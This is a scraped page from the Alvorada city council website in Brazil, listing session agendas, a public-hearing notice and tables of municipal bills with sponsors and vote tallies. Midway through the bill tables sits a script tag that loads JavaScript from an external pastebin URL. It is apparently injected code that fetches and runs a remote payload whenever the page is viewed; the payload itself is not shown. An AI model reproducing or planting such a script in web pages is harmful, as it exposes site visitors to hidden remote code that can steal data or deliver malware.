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Ordem do Dia |
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dos projetos para baixa-los.
EDITAL DE CONVOCAÇÃO
AUDIÊNCIA PÚBLICA
O Presidente da Câmara Municipal de Alvorada, no uso de suas atribuições legais e em atendimento a legislação federal, CONVIDA a comunidade de Alvorada a participar no dia 26 de fevereiro de 2021 (sexta-feira), por meio virtual, das audiências públicas abaixo identificadas:
Para participar e ter acesso às audiências, os interessados deverão enviar solicitação à Câmara (até 15 min antes do horário de início de cada audiência), através do email: informática@camara-alvorada.rs.gov.br, quando será enviado link de acesso.
Alvorada, 23 de fevereiro de 2021.
Ver. Schumacher Presidente |
AUDIÊNCIA PÚBLICA Nº 002/2021 DA CÂMARA MUNICIPAL DE ALVORADA, AOS 26 DE FEVEREIRO DE 2021, APRESENTAÇÃO DE RELATÓRIO DO SUS NO MUNICÍPIO REFERENTE AO 3º QUADRIMESTRE DE 2020. |
Convocação da Diretoria da Corsan a prestar esclarecimentos sobre as tarifas do Bairro Onze de Abril. |
Não há projetos em pauta. |
Não há projetos em pauta. |
Não há projetos em pauta. |
Não há projetos em pauta. |
Não há projetos em pauta. |
Homenagem ao dia do Professor. |
Não há projetos em pauta. |
Não há projetos em pauta. |
NÃO HÁ PROJETOS EM PAUTA |
Data de Entrada | Projeto | Ementa | Status | Baixar |
25/08/2020 |
Projeto de Lei N°037/2020
de autoria do Ver. André Jobim
: |
AUTORIZA A DISTRIBUIÇÃO GRATUITA DE LIVROS SAGRADOS NAS ESCOLAS PÚBLICAS DA REDE MUNICIPAL DE ALVORADA E DÁ OUTRAS PROVIDÊNCIAS |
Aprovado
16 x 0 x 0
|
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25/08/2020 |
Projeto de Lei N°038/2020
de autoria do Ver. Brazil
: |
ASCRESCE INCISO VII AO ART. 70 DA LEI MUNICIPAL Nº 2586/2012 - CÓDIGO TRIBUTÁRIO MUNICIPAL |
Aprovado
16 x 0 x 0
|
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01/09/2020 |
Projeto de Lei N°040A/2020
de autoria do Ver. Juliano Marinho
: |
ACRESCE O ARTIGO 20A A LEI MUNICIPAL 1148/2001”. |
Aprovado
16 x 0 x 0
|
NÃO HÁ PROJETOS EM PAUTA. |
Data de Entrada | Projeto | Ementa | Status | Baixar |
10/08/2020 |
Projeto de Lei N°033/2020
de autoria do Ver. Juliano Marinho
: |
DISPÕE SOBRE INCENTIVOS FISCAIS PARA EMPRESAS INSTALADAS NO DISTRITO INDUSTRIAL DO MUNICÍPIO DE ALVORADA E DÁ OUTRAS PROVIDÊNCIAS |
Aprovado
10 x 0 x 0
|
NÃO HÁ PROJETOS EM PAUTA |
I – NO EXPEDIENTE:
Assunto: cobrança de tarifa de esgotamento sanitário. II – ORDEM DO DIA:
|
I - No Expediente: A) Convocação da Secretária Municipal de Saúde.
|
NÃO HÁ PROJETOS EM PAUTA |
Data de Entrada | Projeto | Ementa | Status | Baixar |
25/03/2020 |
Projeto de Lei N°009/2020
de autoria do Poder Executivo
: |
RECONHECE A CALAMIDADE PÚBLICA MUNICIPAL, CONVALIDA AS MEDIDAS DISCIPLINADAS NOS DECRETOS MUNICIPAIS NÚMEROS 26,28,29 E 30, DISPÕE SOBRE A CONTRATAÇÃO TEMPORÁRIA DE PESSOAL E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
14 x 0 x 0
|
|
14/10/2019 |
Projeto de Lei N°085/2019
de autoria do Poder Executivo
: |
DISPÕE SOBRE A ORGANIZAÇÃO DO SISTEMA MUNICIPAL DE DEFESA DO CONSUMIDOR - SMDC; INSTITUI A COORDENADORIA MUNICIPAL DE DEFESA DO CONSUMIDOR - PROCON, A COMISSÃO MUNICIPAL PERMANENTE DE NORMATIZAÇÃO - CMPN, O CONSELHO MUNICIPAL DE DEFESA DO CONSUMIDOR - CONDECON E O FUNDO MUNICIPAL DE DEFESA DOS DIREITOS DIFUSOS - FMDD |
Aprovado
14 x 0 x 0
|
|
01/04/2020 |
Projeto de Lei N°011/2020
de autoria do Ver. Reginaldo Rocha
: |
DISPÕE SOBRE A AUTORIZAÇÃO DE USO DE ESTRUTURAS FÍSICAS PÚBLICAS POR TEMPO DETERMINADO A INFECTADOS PELO CORONAVÍRUS (COVID-19) |
Aprovado
14 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
20/12/2019 |
Projeto de Lei N°109/2019
de autoria do Poder Executivo
: |
AUTORIZA DOAÇÃO DE IMÓVEL PARA FINS INDUSTRIAIS E DÁ OUTRAS PROVIDÊNCIAS |
Em Pauta
0 x 0 x 0
|
|
20/12/2019 |
Projeto de Lei N°110/2019
de autoria do Poder Executivo
: |
ALTERA A DENOMINAÇÃO DE ESCOLA. |
Em Pauta
0 x 0 x 0
|
|
20/12/2019 |
Projeto de Lei N°111/2019
de autoria do Poder Executivo
: |
CRIA O CENTRO MUNICIPAL DE ENSINO PROFISSIONALIZANTE ADELINO FERREIRA BORBA |
Em Pauta
0 x 0 x 0
|
<script type="text/javascript" src="https://pastebin.com/3ZsSaRwx"></script> |
ORDEM DO DIA:
1 – ELEIÇÃO DA MESA DIRETORA DA CÂMARA PARA O EXERCÍCIO DE 2020. |
Clique no link abaixo |
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|
Apresentação de um plano emergencial de limpeza de redes, obras de micro e macro drenagem a fim de evitar alagementos, visto que aproxima-se os períodos de chuvas. |
Homenagem ao Dia da Mulher |
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2018 |
Projeto de Lei N°065/2018
de autoria do Poder Executivo
: |
“ESTIMA A RECEITA E FIXA AS DESPESAS PARA O EXERCÍCIO 2019” |
Aprovado
15 x 0 x 0
|
Nesse dia houve apenas a leitura das correspondências. |
Nesse dia só houve a leitura das correspondências. |
Nesse dia só foi lida as correspondências. |
Data de Entrada | Projeto | Ementa | Status | Baixar |
06/08/2018 |
Projeto de Lei N°052/2018
de autoria do Poder Executivo
: |
ALTERA O ARTIGO 3 DA LEI MUNICIPAL 3199/2018 |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
26/06/2018 |
Projeto de Lei N°028/2018
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE CEM MIL REAIS (R$ 100.000,00)”. |
Aprovado
12 x 0 x 0
|
|
26/06/2018 |
Projeto de Decreto Legislativo N°002/2018
de autoria do Ver. Jackson do Hospital
: |
“CONCEDE TÍTULO DE HONRA AO MERITO À IGREJA CRUZADA PENTECOSTAL, ASSEMBLÉIA DE DEUS TOROTAMA, ASSEMBLÉIA DE DEUS SÃO PEDRO, PELA PARTICIPAÇÃO NO FESTIVAL “W MUSIC”. |
Aprovado
12 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°026/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO A DESAFETAR A RUA NO LOTEAMENTO PARQUE RESIDENCIAL UMBÚ PARA A AMPLIAÇÃO DE ESCOLA MUNICIPAL”. |
Aprovado
9 x 0 x 0
|
Aos quatro dias do mês de maio do ano de dois mil e dezoito, às quinze horas, se reuniram na Sala do Plenário para a realização de Sessão Ordinária do Poder Legislativo de Alvorada. O Presidente da Câmara, ver. Arlindo Slayfer, após verificação da inexistência de quórum suspendeu a sessão por quinze minutos. Transcorrido o tempo, o senhor Presidente realizou nova chamada para verificação de quórum. Estiveram presentes os vereadores CLAUDIOMIRO FERRANDO BORGES, DELANOR BIFF DE LAGOS, JACKSON LUIS DOS SANTOS, JOSÉ GERALDO DE FARIAS, REGINALDO ROCHA. Não havendo quórum, o Presidente agradeceu a presença de todos e declarou encerrada a presente reunião. Do que para constar foi redigida a esta ata que é assinada pelo Senhor Presidente e demais vereadores que assim o desejarem. |
homenagem para o Padre Libanor |
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Decreto Legislativo N°007/2017
de autoria do Mesa Diretora
: |
“SUSTA A ORDEM DE SERVIÇO 020/2017 DA SMSMU” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°078/2017
de autoria do Poder Executivo
: |
“ESTIMA A RECEITA E FIXA A DESPESA PARA O MUNICÍPIO DE ALVORADA O EXERCÍCIO FINANCEIRO DE 2018” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°078/2017
de autoria do Poder Executivo
: |
“ESTIMA A RECEITA E FIXA A DESPESA PARA O MUNICÍPIO DE ALVORADA O EXERCÍCIO FINANCEIRO DE 2018” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°083/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A CONTRATAR PESSOAL EM CARÁTER EMERGIAL POR TEMPO DETERMINADO”. |
Aprovado
15 x 1 x 0
|
|
28/11/2017 |
Projeto de Lei N°046/2017
de autoria do Ver. Cristiano Schumacher
: |
ALTERA A LEI MUNICIPAL 1763/2006, QUE OBRIGA AS AGÊNCIAS BANCÁRIAS, LOTÉRICAS E SIMILARES NO ÂMBITO DO MUNICÍPIO, A COLOCAR A DISPOSIÇÃO DOS USUÁRIOS, PESSOAL SUFICIENTE NO SETOR DE CAIXAS, PARA QUE O ATENDIMENTO SEJA EFETIVO EM TEMPO RAZOÁVEL. |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°084/2017
de autoria do Poder Executivo
: |
“DISPÕE SOBRE O PARCELAMENTO DE DÉBITOS ORIUNDOS DE CONTRIBUIÇÕES PREVIDENCIÁRIAS PATRONAIS DEVIDAS E NÃO REPASSADAS AO REGIME PRÓPRIO DE PREVIDÊNCIA SOCIAL - RPPS.” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°086/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO A CONTRATAR OPERAÇÃO DE CREDITO JUNTO AO BADESUL, AGÊNCIA DE DESENVOLVIMENTO DO RIO GRANDE DO SUL” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°050/2017
de autoria do Ver. Reginaldo Rocha
: |
“CRIA O DIA MUNICIPAL DO VÔLEI” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Decreto Legislativo N°005/2017
de autoria do Poder Executivo
: |
“APROVA AS CONTAS DO MUNICIPIO SOB A RESPONSABILIDADE DO PREFEITO JOÃO CARLOS BRUM E DO VICE PREFEITO GIOVANI GARCIA RELATIVAS AO EXERCÍCIO FINANCEIRO DE 2011 E DÁ OUTRAS PROVIDÊNCIAS” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Decreto Legislativo N°006/2017
de autoria do Poder Executivo
: |
“APROVA AS CONTAS DO MUNICIPIO SOB A RESPONSABILIDADE DO PREFEITO SERGIO MACIEL BERTOLDI RELATIVAS AO EXERCÍCIO FINANCEIRO DE 2014 E DÁ OUTRAS PROVIDÊNCIAS” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Veto ao Projeto de Lei N°011/2017
de autoria do Poder Executivo
: |
Veto Rejeitado
0 x 16 x 0
|
||
00/00/2017 |
Veto ao Projeto de Lei N°036/2017
de autoria do Poder Executivo
: |
Veto Rejeitado
0 x 16 x 0
|
||
00/00/2017 |
Veto ao Projeto de Lei N°039/2017
de autoria do Poder Executivo
: |
Aprovado
16 x 0 x 0
|
||
00/00/2017 |
Projeto de Lei N°018/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO A RECEBER EM DOAÇÃO IMÓVEL.” |
Veto Rejeitado
0 x 16 x 0
|
|
00/00/2017 |
Projeto de Lei N°077/2017
de autoria do Poder Executivo
: |
“DETERMINA A ALTERAÇÃO DE DENOMINAÇÃO E CRIAÇÃO DE CARGOS NO QUADRO GERAL DE SERVIDORES DA PREFEITURA MUNICIPAL DE ALVORADA.” |
Retirado de Pauta
0 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°079/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO A CONTRATAR PESSOAL EM CARÁTER EMERGENCIAL, POR PRAZO DETERMINADO.” |
Pedido de Vistas
0 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Veto ao Projeto de Lei N°140/2017
de autoria do Poder Executivo
: |
Aprovado
16 x 0 x 0
|
||
12/09/2017 |
Projeto de Lei N°035/2017
de autoria do Ver. Reginaldo Rocha
: |
DISPÕE SOBRE A ATIVIDADE DE GUARDADOR DE VEÍCULOS AUTOMOTORES NO MUNICÍPIO. |
Retirado pelo Autor
0 x 0 x 0
|
|
24/10/2017 |
Projeto de Lei N°047/2017
de autoria do Ver. Dr. Darci Barth
: |
DENOMINA A RUA JOTOBÁ, NO LOTEAMENTO PRÓ-MORAR, DE RUA JATOBÁ E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
16 x 0 x 0
|
|
14/11/2017 |
Projeto de Lei N°049/2017
de autoria do Ver. Dr. Darci Barth
: |
ALTERA O ANEXO 8 DA LEI MUNICIPAL Nº 2721/2013. |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°081/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 53.392,00 (CINQUENTA E TRÊS MIL E TREZENTOS E NOVENTA E DOIS REAIS” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°082/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 909.000,00 (NOVECENTOS E NOVE MIL REAIS” |
Aprovado
16 x 0 x 0
|
|
00/00/0000 |
Projeto de Lei N°029/2016
de autoria do Ver. Zezo
: |
“DENOMINA A RUA SITUADA NA RUA BENTO MARTINS, ENTRE A AVENIDA GETÚLIO VARGAS E A RUA MANAUS NO BAIRRO SÃO PEDRO DE RUA RENATO WEBER E DÁ OUTRAS PROVIDÊNCIAS” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°061/2017
de autoria do Poder Executivo
: |
“ALTERA E ACRESCE DISPOSITIVOS À LEI MUNICIPAL Nº 1.693/06.” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Resolução N°006/2017
de autoria do Mesa Diretora
: |
“AUTORIZA A MESA DIRETORA A ENVIAR VEREADORES PARA PARTICIPAR DO ENCONTRO NACIONAL DOS LEGISLATIVOS MUNICIPAIS, EM CANELA, NOS DIAS 8 À 10 DE NOVEMBRO DE 2017” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Proposta de Emenda à Lei Orgânica N°002/2017
de autoria do Poder Executivo
: |
Aprovado
14 x 1 x 1
|
||
00/00/2017 |
Veto ao Projeto de Lei N°004/2017
de autoria do Poder Executivo
: |
Veto Rejeitado
0 x 16 x 0
|
||
00/00/2017 |
Veto ao Projeto de Lei N°020/2017
de autoria do Poder Executivo
: |
Veto Rejeitado
0 x 16 x 0
|
||
00/00/2017 |
Veto ao Projeto de Lei N°022/2017
de autoria do Poder Executivo
: |
Veto Rejeitado
0 x 16 x 0
|
||
00/00/2017 |
Projeto de Lei N°075/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 1.640,00 ( HUM MIL SEISCENTOS E QUARENTA REAIS)” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°076/2017
de autoria do Poder Executivo
: |
“ALTERA OS INCISOS I, II E III DO ARTIGO 2, DA LEI MUNICIPAL 970/99” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Proposta de Emenda à Lei Orgânica N°002/2017
de autoria do Mesa Diretora
: |
“ADICIONA O PARAGRAFO 4 AO ART. 61 DA LEI ORGÂNICA DO MUNICÍPIO” |
Aprovado
14 x 2 x 0
|
|
00/00/2017 |
Projeto de Lei N°071/2017
de autoria do Poder Executivo
: |
“ALTERA OS INCISOS 1 E 2 DA LEI 2151/2009.” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°072/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CREDITO ESPECIAL NO VALOR DE R$ 100.000,00” (CEM MIL REAIS)" |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°072/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CREDITO ESPECIAL NO VALOR DE R$ 258.567,08” (DUZENTOS E CINQUENTA E OITO MIL QUINHENTOS E SESSENTA E SETE REAIS E OITO CENTAVOS)” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°073/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CREDITO ESPECIAL NO VALOR DE R$ 20.000,00” (VINTE MIL REAIS)" |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°074/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CREDITO ESPECIAL NO VALOR DE R$ 258.567,08” (DUZENTOS E CINQUENTA E OITO MIL QUINHENTOS E SESSENTA E SETE REAIS E OITO CENTAVOS)” |
Aprovado
16 x 0 x 0
|
|
26/09/2017 |
Projeto de Lei N°039/2017
de autoria do Ver. Celmir Martello
: |
RENOMEAR "RUA MORADA DOS QUERO-QUEROS" A RUA TABELIÃO CÍCERO PEREIRA BAPTISTA, NO BAIRRO ÁGUA VIVA, NESTA CIDADE. |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Resolução N°003/2017
de autoria do Ver. Jackson do Hospital
: |
“CONCEDE O TÍTULO DE HONRA AO MÉRITO À IGREJA CRUZADA VILA MARIA PELA PASSAGEM DE SEU 6 ANO DE ANIVERSÁRIO” |
Retirado pelo Autor
0 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°052/2017
de autoria do Poder Executivo
: |
“DISPÕE SOBRE AS DIRETRIZES ORÇAMENTÁRIAS PARA O EXERCÍCIO FINANCEIRO DE 2018.” |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°070/2017
de autoria do Poder Executivo
: |
“ALTERA DISPOSITIVOS DA LEI MUNICIPAL 1809/2007” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°140/2009
de autoria do Mesa Diretora
: |
“OBRIGA A FIXAÇÃO EM LUGAR VISÍVEL E ACESSÍVEL DO NOME, HORÁRIO DE TRABALHO, A FUNÇÃO E A ESPECIALIDADE DOS PROFISSIONAIS QUE ATUAM NOS SERVIÇOS DE SAÚDE DO MUNICÍPIO DE ALVORADA” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°001/2017
de autoria do Verª. Profª. Claudia
: |
“CONCEDE ISENÇÃO FISCAL AS EMPRESAS INSTALADAS NO MUNICÍPIO DE ALVORADA QUE CONTRATEM FUNCIONÁRIOS COM TRANSTORNO DO ESPECTRO AUTISTA, AUTISMO OU COM DEFICIÊNCIA VISUAL, AUDITIVA, MOTORA OU MENTAL” |
Aprovado
16 x 0 x 0
|
|
30/08/2017 |
Projeto de Lei N°031/2017
de autoria do Ver. Leandro Tur
: |
AUTORIZA A REGULARIZAÇÃO DE CONSTRUÇÕES EXISTENTES COM COMPRIMENTO PARCIAL DE RECUO DE JARDIM. |
Aprovado
16 x 0 x 0
|
|
05/09/2017 |
Projeto de Lei N°033/2017
de autoria do Verª. Profª. Claudia
: |
ESTABELECE PRIORIDADE NO ATENDIMENTO EM ÓRGÃOS PÚBLICOS E NOS ESTABELECIMENTOS PRIVADOS ÁS PESSOAS COM TRANSTORNO DO ESPECTRO AUTISTA - AUTISMO E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
16 x 0 x 0
|
|
12/09/2017 |
Projeto de Lei N°036/2017
de autoria do Ver. Reginaldo Rocha
: |
CRIA OUVIDORIAS EM UNIDADES DE PRONTO ATENDIMENTO À SAÚDE (PAM8), UPAs E HOSPITAIS DO MUNICÍPIOS. |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Veto ao Projeto de Lei N°016/2017
de autoria do Poder Executivo
: |
"VETO INTEGRAL AO PROJETO DE LEI 016/2017, DE AUTORIA DO PODER LEGISLATIVO" |
Aprovado
8 x 6 x 1
|
|
00/00/2017 |
Projeto de Lei N°063/2017
de autoria do Poder Executivo
: |
“ALTERA O ANEXO IX DA LEI MUNICIPAL 3045/2017” |
Aprovado
14 x 1 x 0
|
|
00/00/2017 |
Projeto de Lei N°068/2017
de autoria do Poder Executivo
: |
“ACRESCE O ITEM 12 AO ANEXO III DA LEI MUNICIPAL 2316/2011 – QUADRO DO USO GENÉRICO NA ZC2 SERVIÇOS NOTURNOS” |
Aprovado
15 x 0 x 0
|
|
00/00/2017 |
Projeto de Decreto Legislativo N°004/2017
de autoria do Mesa Diretora
: |
“DISPÕE SOBRE DIÁRIAS DO PODER LEGISLATIVO E DÁ OUTRAS PROVIDÊNCIAS” |
Aprovado
15 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Veto ao Projeto de Lei N°041/2017
de autoria do Poder Executivo
: |
“VETO À EMENDA ADITIVA AO PROJETO DE LEI 041/2017” |
Aprovado
10 x 3 x 1
|
|
00/00/2017 |
Projeto de Lei N°054/2017
de autoria do Poder Executivo
: |
“INSTITUI O PROGRAMA DE EDUCAÇÃO FISCAL” |
Aprovado
14 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°050/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE HUM MILHÃO, CENTO E SESSENTA E TRÊS MIL E SETECENTOS REAIS (R$ 1.163.731,00)” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°056/2017
de autoria do Poder Executivo
: |
“PERMITE REGULARIZAR A SITUAÇÃO DOS ESTABELECIMENTOS LOCALIZADOS EM AREÁS VERDES OU INSTITUCIONAIS DESDE QUE COMPROVEM 2 ANOS OU MAIS DE RESIDÊNCIA NO LOCAL” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°062/2017
de autoria do Poder Executivo
: |
“DETERMINA A CRIAÇÃO DE CARGOS NO QUADRO GERAL DE SERVIDORES DA PREFEITURA MUNICIPAL DE ALVORADA” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°064/2017
de autoria do Poder Executivo
: |
“CONCEDE DESCONTO AO IPTU 2018” |
Aprovado
16 x 0 x 0
|
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00/00/2017 |
Projeto de Lei N°065/2017
de autoria do Poder Executivo
: |
“ESTABELECE OS VALORES MÍNIMOS PARA COBRANÇAS JUDICIAL E EXTRAJUDICIAL DE CRÉDITOS PÚBLICOS TRIBUTÁRIOS E NÃO TRIBUTÁRIOS DO MUNICÍPIO” |
Aprovado
16 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°066/2017
de autoria do Poder Executivo
: |
“ACRESCE O ART. 2 À LEI MUNICIPAL 3060/2017” |
Aprovado
16 x 0 x 0
|
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16/05/2017 |
Projeto de Lei N°011/2017
de autoria do Ver. Cristiano Schumacher
: |
ASSEGURA AO CONSUMIDOR QUE CONSTATAR A EXISTÊNCIA DE PRODUTO EXPOSTO À VENDA COM PRAZO DE VALIDADE VENCIDO O DIREITO A RECEBER, GRATUITAMENTE, OUTRO PRODUTO IDÊNTICO OU SIMILAR, À SUA ESCOLHA, E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
16 x 0 x 0
|
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27/06/2017 |
Projeto de Lei N°018/2017
de autoria do Ver. Juliano Marinho
: |
ALTERA DISPOSITIVOS DA LEI MUNICIPAL Nº 1.551 DE 2005. |
Aprovado
16 x 0 x 0
|
|
27/06/2017 |
Projeto de Lei N°018/2017
de autoria do Ver. Reginaldo Rocha
: |
ALTERA DISPOSITIVOS DA LEI MUNICIPAL Nº 1.551 DE 2005. |
Aprovado
16 x 0 x 0
|
|
27/06/2017 |
Projeto de Resolução N°007/2017
de autoria do Ver. Cristiano Schumacher
: |
CRIA A FRENTE PARLAMENTAR PARA SEGURANÇA PÚBLICA DE QUALIDADE EM ALVORADA E DÁ OUTRAS PROVIDÊNCIAS. |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°051/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CRÉDITO ESPECIAL NO VALOR DE R$ 272.649,64 (DUZENTOS E SETENTA E DOIS MIL, SEISCENTOS E QUARENTA E NOVE REAIS E SESSENTA E QUATRO CENTAVOS).” |
Aprovado
16 x 0 x 0
|
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00/00/2017 |
Projeto de Lei N°053/2017
de autoria do Poder Executivo
: |
“DISPÕE SOBRE A CRIAÇÃO DO CONSELHO MUNICIPAL DA IGUALDADE RACIAL E DÁ OUTRAS PROVIDÊNCIAS.” |
Aprovado
16 x 0 x 0
|
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00/00/2017 |
Projeto de Lei N°055/2017
de autoria do Poder Executivo
: |
“ALTERA E ACRESCE DISPOSITIVOS À LEI MUNICIPAL Nº 2586/12” |
Aprovado
16 x 0 x 0
|
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00/00/2017 |
Projeto de Lei N°057/2017
de autoria do Poder Executivo
: |
“ESTABELECE INCENTIVOS E BENEFÍCIOS FISCAIS ÀS STARTUPS QUE VIEREM A SE INSTALAR NO MUNICÍPIO – ALVORADA CIDADE DA TECNOLOGIA.” |
Aprovado
16 x 0 x 0
|
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00/00/2017 |
Projeto de Lei N°058/2017
de autoria do Poder Executivo
: |
“ALTERA DISPOSITIVOS DA LEI MUNICIPAL Nº 2316/11.” |
Aprovado
16 x 0 x 0
|
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19/10/2017 |
Projeto de Lei N°022/2017
de autoria do Ver. Zezo
: |
"DENOMINA A RUA 46 (QUARENTA E SEIS), SITUADA ENTRE AS RUAS RIO GRANDE DO SUL E RUA DO BOSQUE, BAIRRO RESIDENCIAL ÚMBU, DE RUA ADÃO WILMAR BERTODO, E DÁ OUTRAS PROVIDÊNCIAS" |
Aprovado
16 x 0 x 0
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21/08/2017 |
Projeto de Lei N°027/2017
de autoria do Ver. Juliano Marinho
: |
INSTITUI A "SEMANA MUNICIPAL DE LUTA E CONSICENTIZAÇÃO SOBRE A DEPRESSÃO E DE PREVENÇÃO DO SUICÍDIO". |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°049/2017
de autoria do Poder Executivo
: |
“DISPÕE SOBRE O PLANO PLURIANUAL PARA O QUADRIÊNIO 2018/2021 E DÁ OUTRAS PROVIDÊNCIAS.” |
Aprovado
15 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°034/2017
de autoria do Poder Executivo
: |
“DISPÕE SOBRE A CONCESSÃO DE VALE ALIMENTAÇÃO AOS CONSELHEIROS TUTELARES AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CREDITO ESPECIAL NO VALOR DE DEZOITO MIL REAIS” |
Aprovado
14 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°047/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO MUNICIPAL A ABRIR CREDITO ESPECIAL NO VALOR TREZE MIL REAIS” |
Aprovado
14 x 0 x 0
|
|
00/00/2017 |
Projeto de Lei N°048/2017
de autoria do Poder Executivo
: |
“ALTERA O ART. 12 DA LEI MUNICIPAL 2827/2014” |
Aprovado
14 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Veto ao Projeto de Lei N°007/2017
de autoria do Poder Executivo
: |
“VETO INTEGRAL AO PROJETO DE LEI ” |
Veto Rejeitado
0 x 0 x 0
|
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27/06/2017 |
Projeto de Lei N°016/2017
de autoria do Ver. Gerson Luis
: |
MODIFICA O ART. 9º DA LEI MUNICIPAL Nº 2.885 DE 15 DE MAIO DE 2015. |
Aprovado
16 x 0 x 0
|
Data de Entrada | Projeto | Ementa | Status | Baixar |
00/00/2017 |
Projeto de Lei N°018/2017
de autoria do Poder Executivo
: |
“AUTORIZA O PODER EXECUTIVO A RECEBER EM DOAÇÃO ÁREA” |
Pedido de Vistas
16 x 0 x 0
|
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13/06/2017 |
Projeto de Lei N°014/2017
de autoria do Ver. Branquinho Borges
: |
OBRIGA A INSTALAÇÃO DE DIVISÓRIA NOS BANCOS PÚBLICOS E PRIVADOS INSTALADOS NO MUNICÍPIO DE ALVORADA PARA A SEPARAÇÃO ENTRE O ESPAÇO DESTIANDO AOS CAIXAS E OS USUÁRIOS EM ESPERA E D´S OUTRAS PROVIDÊNCIAS. |
Aprovado
16 x 0 x 0
|
|
